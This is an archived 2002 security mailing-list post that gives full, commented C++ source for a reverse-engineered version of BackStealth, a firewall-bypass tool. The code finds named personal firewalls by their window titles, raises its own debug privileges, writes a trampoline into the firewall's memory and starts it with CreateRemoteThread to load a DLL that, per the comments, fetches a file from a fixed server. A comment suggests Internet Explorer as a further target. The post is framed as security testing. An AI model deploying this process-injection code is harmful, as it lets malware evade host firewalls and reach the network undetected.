BACKSTEALTH reverse engineered

From: Stephen J. Friedl (steveat_private)
Date: Thu May 02 2002 - 19:53:33 PDT

  • Next message: Enrique A. Compań Gzz.: "Re: Macromedia Flash Activex Buffer overflow"

    [ACK: first msg had no attachment!]
    
    I've reverse engineered the backstealth program that's been going around, 
    with the original info found at http://piorio.supereva.it/backstealth.htm?p
    
    My program is in documented C++ and it uses the same (not yet reversed) 
    backdll.dll that can be found on the above web site. Those who care to play 
    with this technology in the context of personal firewalls are encouraged to 
    do so. It's not a byte-for-byte reversal - I tuned it up a lot - but the 
    algorithm is the same. This was done from disassembly. IDA Pro rocks!
    
    Steve 
    
    /*
     * $Id: //pentools/main/backstealth/bs.cpp#2 $
     *
     * written by : Stephen J. Friedl
     *              Software Consultant
     *              Tustin, California USA
     *              steveat_private
     *              2002/04/02
     *
     *	--------------------------------------------------------------
     *	CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT
     *	--------------------------------------------------------------
     *	THis program is a reverse-engineered version of that which was
     *	written by Paolo Iorio,  http://piorio.supereva.it/ I take no
     *	credit for the original idea, only that I know how to use a
     *	disassembler and was able to understand what he did.
     *
     *	His web page: http://piorio.supereva.it/backstealth.htm?p
     *
     *	I claim no copyright on my own behalf for this code.
     *	--------------------------------------------------------------
     *	CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT CREDIT
     *	--------------------------------------------------------------
     *
     *
     *	This program is a reverse-engineered version of BackStealth that
     *	was release in April 2002. The idea is that it locates the personal
     *	firewalls in memory by scanning for specific window names, and
     *	once it finds them, it acquires a HANDLE to that process.
     *
     *	We allocate a chunk of memory in the firewall's address space,
     *	copy over a little trampoline function, and launch a remote
     *	thread in the firewall's process space. This little bit of code
     *	reads a (larger) DLL into memory and runs it, which gives us
     *	full control inside that address space.
     *
     * VIRTUAL MEMORY LAYOUT
     * ---------------------
     *
     *	We allocate a chunk of memory in the remote process address space,
     *	and there are two parts. The first is a "header" of common data
     *	that the trampoline function needs: a few functions, the path
     *	of the DLL, the entry point, and so on. This is the "injection_data"
     *	structure, and it's always the first thing in the memory chunk.
     *
     *	Immediately after the injection data is the trampoline function
     *	code itself. Due to the DWORD alignment of the structure before
     *	it, we're pretty sure that the code is always aligned properly,
     *	and it's usually very small (< 200 bytes).
     *
     * BUILDING THIS PROGRAM
     * ---------------------
     *
     *	This was built on Windows 2000 with Microsoft Visual C from
     *	the command line:
     *
     *		cl /nologo /out:bs.exe /W3 bs.cpp advapi32.lib user32.lib
     *
     * BACKDLL.DLL
     * ------------
     *
     *	This program requires "backdll.dll" to exist in the same directory
     *	as the .EXE, but we have not yet reverse engineered that code.
     *	So we are for now trusting that it's not ill-behaved, which maay
     *	or may not be a wise decision. The download is available at the
     *	backstealth link above.
     *
     *	The program makes an outbound HTTP connection to a fixed web
     *	server and fetched a file: it's placed in \retrieve.dat in the
     *	current drive. If this file shows up, it means that the fetch
     *	was able to be made and (presumably) got past the firewall.
     *
     *	We plan on making our own version of this sooner or later and
     *	investigating other firewall products.
     */
    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <tchar.h>
    #include <stdarg.h>
    #include <string.h>
    
    /*------------------------------------------------------------------------
     * INJECTION DATA STRUCTURE
     *
     *	This is the header that we place at the start of the virtual
     *	memory chunk allocated in the remote process, and it's used by
     *	the trampoline function to do its thing. This can't contain any
     *	real pointers (save for the function entry points to the DLL),
     *	as the memory location of this data structure in *this* program
     *	will be different than in the remote.
     */
    
    struct injection_data {
    
    	/*----------------------------------------------------------------
    	 * The trampoline function has no real way to report errors, so
    	 * we allocate this struct member to hold the line number of any
    	 * error conditions on the hope that it makes debugging a bit
    	 * easier.
    	 */
    	DWORD	dwErrLine;
    
    	/*----------------------------------------------------------------
    	 * Each of these function pointers are referencing KERNEL32.DLL,
    	 * and we blindly assume that the remote process has not only 
    	 * loaded this DLL (always ture) but has done so at the same addr
    	 * that we have. For KERNEL32 this is probably a safe choice.
    	 *
     	 * We decided to make each of these functions typed so that we
    	 * got the benefit of prototype checking in the trampoline
    	 * function. It's a little more work in the GetProcAddress()
    	 * department but much easier later.
    	 */
    	HMODULE (WINAPI *fpLoadLibrary)(LPCSTR);
    	FARPROC	(WINAPI *fpGetProcAddress)(HMODULE, LPCSTR);
    	BOOL	(WINAPI *fpFreeLibrary)(HMODULE);
    
    	/*----------------------------------------------------------------
    	 * The "dllpath" is the full path of the "backdll.dll" that we
    	 * wish to load into the remote address space. It has to be
    	 * either the full path, or it must be in the same dir as the
    	 * target process, and since we don't know the latter, we just
    	 * use the full path. Why not?
    	 */
    	char	dllpath[256];
    
    	/*----------------------------------------------------------------
    	 * The "entrypoint" is the name of the function that we're to use
    	 * when we enter the DLL specified by "dllpath". This is a regular
    	 * ASCII name, and we use GetProcAddr to find it.,
    	 *
     	 * When this function is called, it's given the single "entryparam"
    	 * argument that currently does nothing. But we have room to
    	 * grow.
    	 */
    	char	entrypoint[256];
    
    	DWORD	entryparam; 
    };
    
    /*------------------------------------------------------------------------
     * INTERESTING PROGRAMS TO INFECT
     *
     * This is the table of windows that represent each of the personal
     * firewalls we know about. The firewall name is only used for reporting
     * to the user, and the window class and name are used to help us find
     * the window of interest: this window is our hook to getting to the
     * firewall's process.
     *
     * Technically these don't have to be firewalls: we can infect anything.
     * It seems that infecting IE would be a decent choice too because IE
     * is often granted permission to leave the network more or less with
     * no limitations.
     */
    
    static const struct fwwins {
    	TCHAR	*fwname;		// name of the firewall
    	TCHAR	*wclass;		// window class
    	TCHAR	*wname;			// window name
    } Firewalls[] = {
    	{ "Sygate Personal Firewall Pro",
    		"#32770", "Sygate Personal Firewall Pro"	},
    
    	{ "McAfee Personal Firewall",
    		"McAfee_FwClientClass", "McAfee_FwClientClass"	},
    
    	{ "Tiny Personal Firewall ...",
    		"#32770", "TinyPersonalFirewallMainWindow"	},
    
    	{ "Norton Internet Security 2002",
    		"Symantec NAMApp Class", 0			},
    
    	{ "Kerio Personal Firewall",
    		"#32770", "KerioPersonalFirewallMainWindow"	},
    
    	{ 0 } /* ENDMARKER */
    };
    
    
    static void setup_debug_privs(void);
    static void perform_injection(HANDLE hProcess);
    static int  __stdcall injection_sub(struct injection_data *idata);
    static void __stdcall injection_sub_end(void);
    static void __cdecl die(const char *format, ...);
    
    int __cdecl main(int argc, char **argv)
    {
    	/*----------------------------------------------------------------
    	 * Just a little signon information
    	 */
    	printf("BACKSTEALTH 1.1 Security Test --- (C) 2002 Paolo Iorio\n");
    
    #if 0
    	MessageBoxA( 0,
    		"BACKSTEALTH 1.1 Security Test (C) 2002 Paolo Iorio",
    		"BACKSTEALTH Security Test",
    		MB_YESNO | MB_ICONQUESTION );
    #endif
    
    	/*----------------------------------------------------------------
    	 * Search through the window system for the main windows for each
    	 * of the personal firewalls: when we find one, we make a note of
    	 * its process ID for later hooking. It's an error if we run through
    	 * the whole list without finding at least *one* firewall.
    	 *
    	 * If we find *no* firewall, for testing we use our own process.
    	 */
    	DWORD        dwProcessID = 0;
    	const TCHAR *fwname = 0;
    
    	for ( const struct fwwins *pw = Firewalls; pw->fwname; pw++)
    	{
    		printf("Searching for %s\n", pw->fwname);
    
    		HWND hWnd = FindWindow( pw->wclass, pw->wname );
    
    		if ( hWnd )
    		{
    			printf("  --> Found %s!\n", fwname = pw->fwname);
    
    			GetWindowThreadProcessId(hWnd, &dwProcessID);
    		}
    		else
    		{
    			printf("  Cannot find %s\n", pw->fwname);
    		}
    		printf("\n");
    	}
    
    	if ( dwProcessID == 0 )
    	{
    		printf("Can't find any firewalls (using self process)\n");
    
    		dwProcessID = GetCurrentProcessId();
    	}
    
    	/*----------------------------------------------------------------
    	 * Attempt to raise our own privilege level by giving ourselves
    	 * the seDebugPrivilege right.
    	 */
    	setup_debug_privs();
    
    	/*----------------------------------------------------------------
    	 * Now actually open the remote process. We list the minimum
    	 * permissions 
    	 */
    
    	HANDLE hProcess = OpenProcess(0x1F0FFF, FALSE, dwProcessID);
    
    	if ( hProcess == NULL  ||  hProcess == INVALID_HANDLE_VALUE )
    	{
    		die("ERR: cannot OpenProcess [err=%ld]", GetLastError());
    	}
    	printf("Remote process is open\n");
    
    	perform_injection(hProcess);
    
    	printf("\n");
    
    	return EXIT_SUCCESS;
    }
    
    /*
     * setup_debug_privs()
     *
     *	In order to do any of the shenanigans we have in mind with the
     *	remote process, we need the "seDebugPrivilege" setting enabled
     *	in our process token. Admins (and perhaps others) can enable
     *	this most any time, though it's not clear why it is not just
     *	on by default.
     *
     *	If we are not able to do this, it's almost a certainty that the
     *	rest of the program will fail too, but for now we do nothing
     *	more than report an error and hope for the best.
     */
    
    static void setup_debug_privs(void)
    {
    	HANDLE hProc  = GetCurrentProcess();
    	HANDLE hToken = 0;
    
    	const char *privname = "seDebugPrivilege";
    
    	/*----------------------------------------------------------------
    	 * First get a handle to our *own* process token, requested with
    	 * the intention of actually modifying ("Adjusting") that token.
    	 */
    	if ( ! OpenProcessToken( hProc, TOKEN_ADJUST_PRIVILEGES, &hToken ) )
    	{
    		die("Can't open process token [err=%ld]", GetLastError());
    	}
    
    	/*----------------------------------------------------------------
    	 * Now ask the token for the value of the "debug" privilege: it's
    	 * either enabled or it's not.
    	 *
    	 * TODO: if it's already enabled, why do it again?
    	 */
    	LUID luid;
    
    	if ( ! LookupPrivilegeValue( 0, privname, &luid) )
    	{
    		printf("Can't look up %s [err=%ld]\n",
    			privname,
    			GetLastError());
    		return;
    	}
    
    	/*----------------------------------------------------------------
    	 * Now enable the attributes
    	 */
    	TOKEN_PRIVILEGES tstate;
    
    	tstate.PrivilegeCount = 1;
    	tstate.Privileges[0].Luid = luid;
    	tstate.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    	if ( ! AdjustTokenPrivileges( hToken, 
    	                            0,             // (don't) disable all privs
    	                            &tstate,       // new state
    	                            0,             // buffer length
    	                            0,             // previous state
    	                            0 ) )          // return length
    	{
    		printf("Cannot acquite debug privs [err=%ld]\n",
    			GetLastError() );
    	}
    	else
    	{
    		printf("Privilege %s granted\n", privname);
    	}
    }
    
    /*
     * perform_injection()
     *
     *	This modules does the remote DLL injection to the process given
     *	by this handle.
     */
    
    static void perform_injection(HANDLE hProcess)
    {
    struct injection_data IData;
    
    	ZeroMemory(&IData, sizeof IData);
    
    	/*----------------------------------------------------------------
    	 * Program in the key functions that are required by the injection
    	 * subroutine.
    	 */
    	HINSTANCE hModule = LoadLibrary("KERNEL32");
    
    	IData.fpLoadLibrary    = (HMODULE (WINAPI *)(LPCSTR))
    	                         GetProcAddress(hModule, "LoadLibraryA");
    
    	IData.fpGetProcAddress = (FARPROC (WINAPI *)(HMODULE, LPCSTR))
    	                         GetProcAddress(hModule, "GetProcAddress");
    
    	IData.fpFreeLibrary    = (BOOL    (WINAPI *)(HMODULE))
    	                         GetProcAddress(hModule, "FreeLibrary");
    
    	if ( IData.fpLoadLibrary    == 0 ) die("cannot find LoadLibraryA");
    	if ( IData.fpGetProcAddress == 0 ) die("cannot find GetProcAddress");
    	if ( IData.fpFreeLibrary    == 0 ) die("cannot find FreeLibrary");
    
    	printf("LoadLibrary    = 0x%08lx\n", IData.fpLoadLibrary);
    	printf("GetProcAddress = 0x%08lx\n", IData.fpGetProcAddress);
    	printf("FreeLibrary    = 0x%08lx\n", IData.fpFreeLibrary);
    
    	/*----------------------------------------------------------------
    	 * Assume that BACKDLL is in the same directory as this EXE, and
    	 * build the full path of it. We take the current module path and
    	 * just replace the tail component with the DLL name.
    	 */
    	GetModuleFileName( NULL, IData.dllpath, sizeof IData.dllpath );
    
    	strcpy( strrchr(IData.dllpath, '\\') + 1, "backdll.dll");
    	strcpy( IData.entrypoint, "themain");
    
    	printf("DLL path    = {%s}\n", IData.dllpath );
    	printf("Entry point = {%s}\n", IData.entrypoint );
    
    	/*----------------------------------------------------------------
    	 * Compute the sizes of the two bits of memory that will get
    	 * copied over to the virtual chunk of memory: the injection_data
    	 * structure, plus the size of the injection function itself.
    	 *
    	 * Then we allocate the chunk of memory *IN THE REMOTE PROCESS*.
    	 * Note that we use PAGE_READWRITE, which seems to allow execute,
    	 * while PAGE_EXECUTE doesn't allow r/w access.
    	 */
    	DWORD nDatSize = sizeof(IData);
    
    	DWORD nSubSize = (DWORD) injection_sub_end - (DWORD) injection_sub;
    
    	printf("Injection sub = %d bytes\n", nSubSize);
    
    	LPVOID addr = VirtualAllocEx( hProcess,
    	                              0,                   // where to alloc
    	                              nDatSize + nSubSize, // # of bytes
    	                              MEM_COMMIT,          // want real mem
    	                              PAGE_EXECUTE_READWRITE );
    
    	if ( addr == 0 )
    	{
    		die("ERROR: cannot VirtualAllocEx [err=%ld]", GetLastError());
    	}
    	
    	printf("VirtualAllocEx'd %d bytes at 0x%08lx\n",
    			nDatSize + nSubSize,
    			addr );
    
    	/*----------------------------------------------------------------
    	 * WRITE REMOTE MEMORY
    	 *
    	 * We copy our "interesting" data to the chunk of remote memory
    	 * that we just allocated. It's done in two parts: first the
    	 * "injection data" header, then the code.
    	 */
    	DWORD NumberOfBytesWritten = 0;
    
    	if ( ! WriteProcessMemory( hProcess,
    	                           addr,
    	                           &IData, sizeof IData,
    	                           &NumberOfBytesWritten ) )
    	{
    		die("ERROR: cannot write injdata to remote [err=%ld]",
    			GetLastError() );
    	}
    
    	void *startaddr = (void *)( sizeof IData + (char *)addr );
    
    	if ( ! WriteProcessMemory( hProcess,
    	                           startaddr,
    	                           (void *)injection_sub, nSubSize,
    	                           &NumberOfBytesWritten ) )
    	{
    		die("ERROR: cannot write injsub to remote [err=%ld]",
    			GetLastError() );
    	}
    
    	printf("Wrote process memory OK\n");
    
    	/*----------------------------------------------------------------
    	 * Now for the money shot: launch the remote thread!
    	 */
    	DWORD dwThreadID;
    
    	HANDLE hThread = CreateRemoteThread(
    	                        hProcess,       // where the thread lives
    	                        0,              // security attrs
    	                        0,              // Stack Size
    	                        (DWORD (__stdcall *)(void *))startaddr,
    				(void *)addr,
    	                        0,              // creation flags
    	                        &dwThreadID );  // thread ID
    
    	if ( hThread == 0 )
    	{
    		die("ERROR: cannot CreateRemoteThread [err=%ld]",
    			GetLastError());
    	}
    
    	printf("Remote thread created OK at 0x%08lx\n", startaddr );
    
    	// wait for the thread to E
    
    	DWORD rc = WaitForSingleObject(hThread, INFINITE);
    
    	printf("Remote thread exited: 0x%08lx\n",
    		((struct injection_data *)addr)->dwErrLine);
    
    	(void) CloseHandle(hThread);
    
    	(void) VirtualFreeEx(hProcess, addr, 0, MEM_RELEASE);
    
    }
    
    /*
     * injection_sub()
     *
     *	This is the snippet of code thatis injected into the remote
     *	process's address space, and it does nothing more than launch
     *	the DLL that's part of the injection data.
     *
     *	But remember that since this is running "over there", we do
     *	not have printf or other debugging. Gotta just live with the
     *	error return.
     */
    
    static int __stdcall injection_sub(struct injection_data *idata)
    {
    	/*----------------------------------------------------------------
    	 * First we try to load the the requested DLL into our address
    	 * space, giving us a handle to the module. It's a fatal error
    	 * if we cannot do this - no point in continuing.
    	 */
    	HINSTANCE hLibrary = idata->fpLoadLibrary(idata->dllpath);
    
    	if ( hLibrary == 0 ) { idata->dwErrLine = __LINE__; return -1; }
    
    	/*----------------------------------------------------------------
    	 * Fetch the entry point from the user's DLL by name. If we can't
    	 * find it, then clearly we're not going to get anywhere. Error!
    	 */
    	int (WINAPI *fpEntryFunc)(DWORD);
    
    	fpEntryFunc = (int (__stdcall *)(DWORD)) idata->fpGetProcAddress(
    		hLibrary,
    		idata->entrypoint);
    
    	if ( fpEntryFunc == 0 ) { idata->dwErrLine = __LINE__; return -1; }
    
    	/*----------------------------------------------------------------
    	 * Now we allegedly have the pointer to the entry point, so call
    	 * it with the single parameter given in our injection data. We
    	 * use the return value and pass it back to the user after we
    	 * take care to release the library.
    	 */
    	int rc = fpEntryFunc( idata->entryparam );
    
    	(void) idata->fpFreeLibrary( hLibrary );   // don't care if it fails
    
    	return rc;
    }
    
    /*
     * injection_sub_end()
     *
     *	This is a *dummy* function that serves no purpose other than to
     *	give us the ability to mark the end of the *previous* function.
     *	It seems like there should be another way to do this, but...
     */
    static void __stdcall injection_sub_end(void)
    {
    	/* NOTHING */
    }
    
    /*
     * die()
     *
     *	Given a printf-like arg list, format the parameters to the
     *	standard error stream, append a newline, and exit with error
     *	status.
     */
    static void __cdecl die(const char *format, ...)
    {
    va_list	args;
    
    	va_start(args, format);
    
    	vfprintf(stderr, format, args);
    
    	va_end(args);
    
    	putc('\n', stderr );
    
    	exit(EXIT_FAILURE);
    }
    
    
    Stephen J. Friedl / Software Consultant / Tustin, CA / 714-544-6561
    



    This archive was generated by hypermail 2b30 : Thu May 02 2002 - 21:13:16 PDT